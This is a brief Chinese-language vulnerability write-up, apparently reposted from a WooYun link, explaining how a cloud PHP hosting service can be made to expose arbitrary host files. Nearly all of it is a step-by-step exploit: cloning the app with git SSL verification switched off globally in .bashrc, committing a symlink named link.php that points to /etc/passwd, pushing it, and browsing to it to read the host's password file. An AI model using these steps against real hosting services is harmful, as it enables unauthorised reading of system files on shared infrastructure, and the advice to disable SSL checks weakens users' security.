git 漏洞导致任意文件读取

相关链接如下：

http://zone.wooyun.org/content/17131

漏洞利用，

1. 在某云服务上，创建一个web php应用

2. 将服务器上的代码git到本地:

这步可能报错，如果报如下错误：

需要修改下当前用户的.bashrc文件，加上如下内容：

export GIT_SSL_NO_VERIFY=1

保存文件后，执行：source ~/.bashrc

3.进入下载的代码目录，ln -s /etc/passwd link.php

4. git add link.php

5.git commit -m "add file"

6. git push

7. 访问云服务上的link.php，就可以看到云服务宿主主机的/etc/passwd文件的内容了